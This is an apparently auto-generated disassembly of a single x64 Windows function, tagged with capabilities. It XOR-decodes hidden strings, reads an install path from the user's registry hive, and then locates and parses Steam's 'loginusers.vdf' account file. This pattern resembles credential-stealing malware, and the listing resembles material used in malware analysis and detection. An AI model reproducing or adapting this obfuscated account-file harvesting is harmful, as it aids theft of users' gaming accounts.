Function at 0x7ff876f030d0
Capabilities:
Encode data using base64
Encode data using xor
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x418]
sub rsp, 0x518
mov rbx, rcx
xor r15d, r15d
mov dword [rsp + 0x50], r15d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], 0xf
mov byte [rcx], r15b
mov dword [rsp + 0x50], 1
lea ecx, [r15 + 0x53]
xor edx, edx
call fcn.7ff876f003f0
movzx r8d, ax
mov word [rbp - 0x50], ax
lea ecx, [rdx + 0x4f]
lea edx, [rcx - 0x4e]
call fcn.7ff876f003f0
mov word [rbp - 0x4e], ax
lea ecx, [rdx + 0x45]
mov r12d, 2
mov edx, r12d
call fcn.7ff876f003f0
mov word [rbp - 0x4c], ax
lea ecx, [r15 + 0x54]
lea edx, [rcx - 0x51]
call fcn.7ff876f003f0
mov word [rbp - 0x4a], ax
lea ecx, [rdx + 0x54]
mov esi, 4
mov edx, esi
call fcn.7ff876f003f0
mov word [rbp - 0x48], ax
lea ecx, [rsi + 0x3d]
lea edx, [rsi + 1]
call fcn.7ff876f003f0
mov word [rbp - 0x46], ax
lea ecx, [rsi + 0x4e]
mov r14d, 6
mov edx, r14d
call fcn.7ff876f003f0
mov word [rbp - 0x44], ax
lea ecx, [rsi + 0x41]
lea edx, [rsi + 3]
call fcn.7ff876f003f0
mov word [rbp - 0x42], ax
lea ecx, [rsi + 0x58]
lea edx, [rsi + 4]
call fcn.7ff876f003f0
mov word [rbp - 0x40], ax
lea ecx, [rsi + 0x52]
lea edx, [rsi + 5]
call fcn.7ff876f003f0
mov word [rbp - 0x3e], ax
lea ecx, [rsi + 0x5d]
lea edx, [rsi + 6]
call fcn.7ff876f003f0
mov word [rbp - 0x3c], ax
lea ecx, [rsi + 0x68]
lea edx, [rsi + 7]
call fcn.7ff876f003f0
mov word [rbp - 0x3a], ax
lea ecx, [rsi + 0x72]
lea edx, [rsi + 8]
call fcn.7ff876f003f0
mov word [rbp - 0x38], ax
lea ecx, [rsi + 0x61]
lea edx, [rsi + 9]
call fcn.7ff876f003f0
mov word [rbp - 0x36], ax
lea ecx, [rsi + 0x58]
lea edx, [rsi + 0xa]
call fcn.7ff876f003f0
mov word [rbp - 0x34], ax
lea ecx, [rsi + 0x4f]
lea edx, [rsi + 0xb]
call fcn.7ff876f003f0
mov word [rbp - 0x32], ax
lea ecx, [rsi + 0x70]
lea edx, [rsi + 0xc]
call fcn.7ff876f003f0
mov word [rbp - 0x30], ax
lea ecx, [rsi + 0x61]
lea edx, [rsi + 0xd]
call fcn.7ff876f003f0
mov word [rbp - 0x2e], ax
lea ecx, [rsi + 0x5d]
lea edx, [rsi + 0xe]
call fcn.7ff876f003f0
mov word [rbp - 0x2c], ax
lea ecx, [rsi + 0x69]
lea edx, [rsi + 0xf]
call fcn.7ff876f003f0
mov word [rbp - 0x2a], ax
xor ecx, ecx
lea edx, [rsi + 0x10]
call fcn.7ff876f003f0
mov word [rbp - 0x28], ax
lea edx, [rsi + 0x11]
movzx ecx, word [0x7ff876f56c0a]
call fcn.7ff876f003f0
mov word [rbp - 0x26], ax
lea edx, [rsi + 0x12]
movzx ecx, word [0x7ff876f56c0c]
call fcn.7ff876f003f0
mov word [rbp - 0x24], ax
lea edx, [rsi + 0x13]
movzx ecx, word [0x7ff876f56c0e]
call fcn.7ff876f003f0
mov word [rbp - 0x22], ax
lea edx, [rsi + 0x14]
movzx ecx, word [0x7ff876f56c10]
call fcn.7ff876f003f0
mov word [rbp - 0x20], ax
lea edx, [rsi + 0x15]
movzx ecx, word [0x7ff876f56c12]
call fcn.7ff876f003f0
mov word [rbp - 0x1e], ax
lea edx, [rsi + 0x16]
movzx ecx, word [0x7ff876f56c14]
call fcn.7ff876f003f0
mov word [rbp - 0x1c], ax
lea edx, [rsi + 0x17]
movzx ecx, word [0x7ff876f56c16]
call fcn.7ff876f003f0
mov word [rbp - 0x1a], ax
lea edx, [rsi + 0x18]
movzx ecx, word [0x7ff876f56c18]
call fcn.7ff876f003f0
mov word [rbp - 0x18], ax
lea edx, [rsi + 0x19]
movzx ecx, word [0x7ff876f56c1a]
call fcn.7ff876f003f0
mov word [rbp - 0x16], ax
lea edx, [rsi + 0x1a]
movzx ecx, word [0x7ff876f56c1c]
call fcn.7ff876f003f0
mov word [rbp - 0x14], ax
lea edx, [rsi + 0x1b]
movzx ecx, word [0x7ff876f56c1e]
call fcn.7ff876f003f0
mov word [rbp - 0x12], ax
lea edx, [rsi + 0x1c]
movzx ecx, word [0x7ff876f56c20]
call fcn.7ff876f003f0
mov word [rbp - 0x10], ax
lea edx, [rsi + 0x1d]
movzx ecx, word [0x7ff876f56c22]
call fcn.7ff876f003f0
mov word [rbp - 0xe], ax
lea edx, [rsi + 0x1e]
movzx ecx, word [0x7ff876f56c24]
call fcn.7ff876f003f0
mov word [rbp - 0xc], ax
lea edx, [rsi + 0x1f]
movzx ecx, word [0x7ff876f56c26]
call fcn.7ff876f003f0
mov word [rbp - 0xa], ax
lea edx, [rsi + 0x20]
movzx ecx, word [0x7ff876f56c28]
call fcn.7ff876f003f0
mov word [rbp - 8], ax
lea edx, [rsi + 0x21]
movzx ecx, word [0x7ff876f56c2a]
call fcn.7ff876f003f0
mov word [rbp - 6], ax
lea edx, [rsi + 0x22]
movzx ecx, word [0x7ff876f56c2c]
call fcn.7ff876f003f0
mov word [rbp - 4], ax
lea edx, [rsi + 0x23]
movzx ecx, word [0x7ff876f56c2e]
call fcn.7ff876f003f0
mov word [rbp - 2], ax
lea edx, [rsi + 0x24]
movzx ecx, word [0x7ff876f56c30]
call fcn.7ff876f003f0
mov word [rbp], ax
xor eax, eax
mov word [rbp + 2], ax
mov edx, r15d
mov r9d, 0x133
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x50]
lea rcx, [rcx + rax*2]
lea eax, [r9 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0x29
jb 0x7ff876f03400
mov word [rbp + 2], r15w
mov word [rsp + 0x58], r8w
mov ecx, 0x74
lea edx, [rcx - 0x73]
call fcn.7ff876f003f0
mov word [rsp + 0x5a], ax
lea ecx, [rdx + 0x64]
mov edx, r12d
call fcn.7ff876f003f0
mov word [rsp + 0x5c], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.7ff876f003f0
mov word [rsp + 0x5e], ax
lea ecx, [rdx + 0x6a]
mov edx, esi
call fcn.7ff876f003f0
mov word [rsp + 0x60], ax
mov ecx, 0x50
lea edx, [rcx - 0x4b]
call fcn.7ff876f003f0
mov word [rsp + 0x62], ax
lea ecx, [rdx + 0x5c]
mov edx, r14d
call fcn.7ff876f003f0
mov word [rsp + 0x64], ax
mov ecx, 0x74
lea edx, [rcx - 0x6d]
call fcn.7ff876f003f0
mov word [rsp + 0x66], ax
lea ecx, [rdx + 0x61]
lea edx, [rcx - 0x60]
call fcn.7ff876f003f0
mov word [rsp + 0x68], ax
xor ecx, ecx
lea edx, [rcx + 9]
call fcn.7ff876f003f0
mov word [rsp + 0x6a], ax
lea edx, [rcx + 0xa]
movzx ecx, word [0x7ff876f56c24]
call fcn.7ff876f003f0
mov word [rsp + 0x6c], ax
mov edx, 0xb
movzx ecx, word [0x7ff876f56c26]
call fcn.7ff876f003f0
mov word [rsp + 0x6e], ax
mov edx, 0xc
movzx ecx, word [0x7ff876f56c28]
call fcn.7ff876f003f0
mov word [rsp + 0x70], ax
mov edx, 0xd
movzx ecx, word [0x7ff876f56c2a]
call fcn.7ff876f003f0
mov word [rsp + 0x72], ax
mov edx, 0xe
movzx ecx, word [0x7ff876f56c2c]
call fcn.7ff876f003f0
mov word [rsp + 0x74], ax
mov edx, 0xf
movzx ecx, word [0x7ff876f56c2e]
call fcn.7ff876f003f0
mov word [rsp + 0x76], ax
mov edx, 0x10
movzx ecx, word [0x7ff876f56c30]
call fcn.7ff876f003f0
mov word [rsp + 0x78], ax
mov edx, 0x11
movzx ecx, word [0x7ff876f56c32]
call fcn.7ff876f003f0
mov word [rsp + 0x7a], ax
mov edx, 0x12
movzx ecx, word [0x7ff876f56c34]
call fcn.7ff876f003f0
mov word [rsp + 0x7c], ax
xor eax, eax
mov word [rsp + 0x7e], ax
mov edx, r15d
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x58]
lea rcx, [rcx + rax*2]
lea eax, [r9 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0x13
jb 0x7ff876f03590
mov word [rsp + 0x7e], r15w
mov dword [rbp + 0x470], 0x104
lea rax, [rbp + 0x478]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp - 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff876f041cb
lea rax, [rbp + 0x470]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x58]
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x7ff876f041be
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x58]
call fcn.7ff876f01930
nop
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x68]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x58]
cmova rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x40]
call fcn.7ff876f01a80
nop
mov rdi, qword [rbp + 0x50]
lea rbx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rbx, qword [rbp + 0x40]
call fcn.7ff876f152c4
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rbp - 0x80]
call fcn.7ff876f02400
mov dword [rsp + 0x50], 7
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x60]
call fcn.7ff876f15400
mov edx, eax
test eax, eax
jne 0x7ff876f036f3
mov ebx, dword [rbp + 0x70]
bt ebx, 0xa
jae 0x7ff876f036e8
mov eax, dword [rbp + 0x74]
cmp eax, 0xa000000c
jne 0x7ff876f036da
mov ebx, esi
jmp 0x7ff876f0370f
cmp eax, 0xa0000003
jne 0x7ff876f036e8
mov ebx, 0xa
jmp 0x7ff876f0370f
and ebx, 0x10
or ebx, 0x20
shr ebx, 4
jmp 0x7ff876f0370f
sub eax, 2
je 0x7ff876f0370a
sub eax, 1
je 0x7ff876f0370a
sub eax, 0x32
je 0x7ff876f0370a
cmp eax, 0x46
mov ebx, r15d
jne 0x7ff876f0370f
mov ebx, 1
test edx, edx
je 0x7ff876f03721
lea eax, [rbx - 1]
test eax, 0xfffffff7
jne 0x7ff876f041fd
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x7ff876f03761
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff876f0375c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f04207
call fcn.7ff876f125fc
cmp ebx, 3
jne 0x7ff876f0412e
xor edx, edx
mov cl, 0x5c
call fcn.7ff876ee8b80
mov byte [rsp + 0x30], al
lea edx, [rbx - 2]
mov cl, 0x63
call fcn.7ff876ee8b80
mov byte [rsp + 0x31], al
mov edx, r12d
mov cl, 0x6f
call fcn.7ff876ee8b80
mov byte [rsp + 0x32], al
mov edx, ebx
mov cl, 0x6e
call fcn.7ff876ee8b80
mov byte [rsp + 0x33], al
mov edx, esi
mov cl, 0x66
call fcn.7ff876ee8b80
mov byte [rsp + 0x34], al
lea edx, [rbx + 2]
mov cl, 0x69
call fcn.7ff876ee8b80
mov byte [rsp + 0x35], al
mov edx, r14d
mov cl, 0x67
call fcn.7ff876ee8b80
mov byte [rsp + 0x36], al
lea edx, [rbx + 4]
mov cl, 0x5c
call fcn.7ff876ee8b80
mov byte [rsp + 0x37], al
lea edx, [rbx + 5]
mov cl, 0x6c
call fcn.7ff876ee8b80
mov byte [rsp + 0x38], al
lea edx, [rbx + 6]
mov cl, 0x6f
call fcn.7ff876ee8b80
mov byte [rsp + 0x39], al
lea edx, [rbx + 7]
mov cl, 0x67
call fcn.7ff876ee8b80
mov byte [rsp + 0x3a], al
lea edx, [rbx + 8]
mov cl, 0x69
call fcn.7ff876ee8b80
mov byte [rsp + 0x3b], al
lea edx, [rbx + 9]
mov cl, 0x6e
call fcn.7ff876ee8b80
mov byte [rsp + 0x3c], al
lea edx, [rbx + 0xa]
mov cl, 0x75
call fcn.7ff876ee8b80
mov byte [rsp + 0x3d], al
lea edx, [rbx + 0xb]
mov cl, 0x73
call fcn.7ff876ee8b80
mov byte [rsp + 0x3e], al
lea edx, [rbx + 0xc]
mov cl, 0x65
call fcn.7ff876ee8b80
mov byte [rsp + 0x3f], al
lea edx, [rbx + 0xd]
mov cl, 0x72
call fcn.7ff876ee8b80
mov byte [rsp + 0x40], al
lea edx, [rbx + 0xe]
mov cl, 0x73
call fcn.7ff876ee8b80
mov byte [rsp + 0x41], al
lea edx, [rbx + 0xf]
mov cl, 0x2e
call fcn.7ff876ee8b80
mov byte [rsp + 0x42], al
lea edx, [rbx + 0x10]
mov cl, 0x76
call fcn.7ff876ee8b80
mov byte [rsp + 0x43], al
lea edx, [rbx + 0x11]
mov cl, 0x64
call fcn.7ff876ee8b80
mov byte [rsp + 0x44], al
lea edx, [rbx + 0x12]
mov cl, 0x66
call fcn.7ff876ee8b80
mov byte [rsp + 0x45], al
xor eax, eax
mov byte [rsp + 0x46], al
mov edx, r15d
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0x16
jb 0x7ff876f038b0
mov byte [rsp + 0x46], 0
mov r12, qword [rbp + 0x50]
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x7ff876f038e0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r12
cmp rax, rbx
jb 0x7ff876f0420d
lea r13, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r13, qword [rbp + 0x40]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
lea r15, [rbx + r12]
mov edi, 0xf
lea r14, [rbp + 0x20]
cmp r15, rdi
jbe 0x7ff876f039ac
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x7ff876f0396d
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.7ff876f1223c
test rax, rax
je 0x7ff876f0426e
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x7ff876f039a8
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x7ff876f03996
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x7ff876f041e8
jmp 0x7ff876f0394e
test rcx, rcx
je 0x7ff876f039a5
call fcn.7ff876f1223c
mov r14, rax
jmp 0x7ff876f039a8
xor r14d, r14d
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rdi
mov r8, r12
mov rdx, r13
mov rcx, r14
call fcn.7ff876f43510
lea rcx, [r14 + r12]
mov r8, rbx
lea rdx, [rsp + 0x30]
call fcn.7ff876f43510
mov byte [r14 + r15], 0
mov dword [rsp + 0x50], 0x27
mov rdi, qword [rbp + 0x30]
lea rbx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rbx, qword [rbp + 0x20]
call fcn.7ff876f152c4
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rbp - 0x80]
call fcn.7ff876f02400
mov dword [rsp + 0x50], 0x3f
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x60]
call fcn.7ff876f15400
mov edx, eax
test eax, eax
jne 0x7ff876f03a86
mov eax, dword [rbp + 0x70]
test al, 1
mov ecx, 0x1ff
mov r8d, 0x16d
cmovne ecx, r8d
mov dword [rsp + 0x34], ecx
bt eax, 0xa
jae 0x7ff876f03a78
mov ecx, dword [rbp + 0x74]
cmp ecx, 0xa000000c
je 0x7ff876f03aab
cmp ecx, 0xa0000003
jne 0x7ff876f03a78
lea esi, [rdx + 0xa]
jmp 0x7ff876f03aab
movzx esi, al
and esi, 0x10
or esi, 0x20
shr esi, 4
jmp 0x7ff876f03aab
mov dword [rsp + 0x34], 0xffff
sub eax, 2
je 0x7ff876f03aa6
sub eax, 1
je 0x7ff876f03aa6
sub eax, 0x32
je 0x7ff876f03aa6
cmp eax, 0x46
je 0x7ff876f03aa6
xor esi, esi
jmp 0x7ff876f03aab
mov esi, 1
mov dword [rsp + 0x30], edx
lea rax, [0x7ff876f630a0]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test esi, esi
je 0x7ff876f03c3d
cmp esi, 1
setne bl
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x7ff876f03b14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff876f03b0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f04213
call fcn.7ff876f125fc
test bl, bl
je 0x7ff876f040f0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xf0]
call fcn.7ff876f045f0
nop
cmp qword [rbp + 0x180], 0
je 0x7ff876f04068
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x7ff876f57550]
movdqu xmmword [rbp + 0x70], xmm1
mov byte [rbp + 0x60], 0
movdqu xmmword [rbp + 0x80], xmm0
xor r15d, r15d
mov qword [rbp + 0x90], r15
lea rdx, [0x7ff876f56c28]
lea rcx, [rbp + 0xc0]
call fcn.7ff876f04460
nop
lea rdx, [0x7ff876f56c38]
lea rcx, [rbp + 0x98]
call fcn.7ff876f04460
nop
mov r14, qword [rbp + 0x88]
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x130]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x38], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x30]
call fcn.7ff876ef1c80
mov rdx, qword [rax]
mov r8, qword [rdx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx edi, al
test rbx, rbx
je 0x7ff876f03bfa
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 0x10]
test rax, rax
je 0x7ff876f03bfa
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
movzx r8d, dil
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.7ff876f054b0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x7ff876f03c6b
cmp r14, r15
je 0x7ff876f03c4c
lea rdx, [rbp + 0x60]
mov rcx, r14
call fcn.7ff876eef650
add r14, 0x20
mov qword [rbp + 0x88], r14
jmp 0x7ff876f03b94
xor bl, bl
test edx, edx
jne 0x7ff876f041ee
jmp 0x7ff876f03ad4
lea r8, [rbp + 0x60]
mov rdx, r14
lea rcx, [rbp + 0x80]
call fcn.7ff876f05a20
mov r15, qword [rbp + 0x90]
jmp 0x7ff876f03b8d
xor ebx, ebx
mov r12d, ebx
mov rax, r14
mov r13, qword [rbp + 0x80]
sub rax, r13
sar rax, 5
mov qword [rbp + 0x468], rax
test rax, rax
je 0x7ff876f03e5f
mov rsi, r13
movabs rdi, 0x2aaaaaaaaaaaaaab
nop
mov qword [rbp - 0x50], rbx
mov byte [rbp - 0x48], 0
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x20], rbx
mov byte [rbp - 0x18], 0
movdqa xmmword [rbp - 0x10], xmm0
mov byte [rbp], 0
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rbx
mov byte [rbp + 0x18], 0
mov r8, rsi
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x7ff876f03cee
mov r8, qword [rsi]
mov r10, r8
add r10, qword [rsi + 0x10]
jmp 0x7ff876f03cfe
mov r10, qword [rsi + 0x10]
add r10, rsi
mov rcx, rsi
cmp rdx, 0xf
jbe 0x7ff876f03d01
mov rcx, qword [rsi]
mov qword [rsp + 0x28], r8
lea r9, [rbp + 0x98]
lea r8, [rbp - 0x50]
mov rdx, r10
call fcn.7ff876f05700
test al, al
je 0x7ff876f03e42
mov rcx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x40]
sub rcx, r8
mov rax, rdi
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 2
jne 0x7ff876f03e42
cmp byte [r8 + 0x28], 0
je 0x7ff876f03d5d
movups xmm0, xmmword [r8 + 0x18]
movups xmmword [rsp + 0x30], xmm0
jmp 0x7ff876f03d66
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
sub r8, rcx
cmp r8, 1
jne 0x7ff876f03e42
lea rdx, [0x7ff876f56c54]
call fcn.7ff876f43f50
test eax, eax
sete al
test al, al
je 0x7ff876f03e42
lea eax, [r12 - 1]
test eax, eax
js 0x7ff876f03e42
movsxd rdi, eax
mov rbx, rdi
shl rbx, 5
add rbx, r13
mov r8, rbx
mov rcx, qword [rbx + 0x18]
cmp rcx, 0xf
jbe 0x7ff876f03dc9
mov r8, qword [rbx]
mov rdx, r8
add rdx, qword [rbx + 0x10]
jmp 0x7ff876f03dd9
mov rdx, qword [rbx + 0x10]
add rdx, rbx
mov rax, rbx
cmp rcx, 0xf
jbe 0x7ff876f03ddc
mov rax, qword [rbx]
mov qword [rsp + 0x28], r8
lea r9, [rbp + 0xc0]
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.7ff876f05700
test al, al
je 0x7ff876f03e28
mov rcx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x40]
sub rcx, r8
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 2
je 0x7ff876f03ec9
sub rbx, 0x20
sub rdi, 1
jns 0x7ff876f03db0
xor ebx, ebx
movabs rdi, 0x2aaaaaaaaaaaaaab
lea rcx, [rbp - 0x40]
call fcn.7ff876f043a0
inc r12
add rsi, 0x20
cmp r12, qword [rbp + 0x468]
jb 0x7ff876f03ca0
lea rcx, [rbp + 0x100]
call fcn.7ff876ef0750
test rax, rax
jne 0x7ff876f03f7a
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x138], 0
mov edx, 6
mov eax, 2
cmovne edx, eax
or edx, dword [rbp + rcx + 0x100]
and edx, 0x17
mov dword [rbp + rcx + 0x100], edx
mov eax, dword [rbp + rcx + 0x104]
and eax, edx
je 0x7ff876f03f7a
test al, 4
je 0x7ff876f0421f
lea rbx, [0x7ff876f54ba0]
jmp 0x7ff876f04233
cmp byte [r8 + 0x28], 0
je 0x7ff876f03edc
movups xmm0, xmmword [r8 + 0x18]
movups xmmword [rsp + 0x30], xmm0
jmp 0x7ff876f03ee5
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ebx, ebx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
jne 0x7ff876f03f12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], bl
jmp 0x7ff876f03f1e
sub r8, rdx
lea rcx, [rbp - 0x80]
call fcn.7ff876ef2540
or dword [rsp + 0x50], 0xc0
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x460]
call fcn.7ff876f04860
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x7ff876f03e38
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff876f03f70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f04219
call fcn.7ff876f125fc
jmp 0x7ff876f03e38
lea rcx, [rbp + 0x98]
call fcn.7ff876f049d0
mov rcx, qword [rbp + 0xb8]
test rcx, rcx
je 0x7ff876f03faf
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x7ff876f03faf
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rbp + 0xc0]
call fcn.7ff876f049d0
mov rcx, qword [rbp + 0xe0]
test rcx, rcx
je 0x7ff876f03fe4
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x7ff876f03fe4
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
test r13, r13
je 0x7ff876f0402c
mov rdx, r14
mov rcx, r13
call fcn.7ff876f04da0
sub r15, r13
and r15, 0xffffffffffffffe0
mov rax, r13
cmp r15, 0x1000
jb 0x7ff876f04020
add r15, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f04262
mov rdx, r15
mov rcx, r13
call fcn.7ff876f125fc
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x7ff876f04068
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff876f04062
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f04268
call fcn.7ff876f125fc
nop
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff876f57158]
mov qword [rbp + rcx + 0xf0], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xec], edx
lea rcx, [rbp + 0x100]
call fcn.7ff876eeed30
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff876f570e0]
mov qword [rbp + rcx + 0xf0], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0xec], edx
lea rax, [0x7ff876f48d80]
mov qword [rbp + 0x1a0], rax
lea rcx, [rbp + 0x1a0]
call fcn.7ff876f14cf0
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x7ff876f0412b
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff876f04126
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f0426e
call fcn.7ff876f125fc
xor r15d, r15d
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x7ff876f04169
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff876f04164
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f04274
call fcn.7ff876f125fc
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x7ff876f041b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff876f041b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff876f041e2
call fcn.7ff876f125fc
mov rbx, qword [rbp + 0x460]
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rax, rbx
add rsp, 0x518
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.7ff876f28a04
nop
call fcn.7ff876ee94f0
nop
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x30]
call fcn.7ff876f02d80
nop
lea r8, [rbp - 0x80]
call fcn.7ff876f02d10
nop
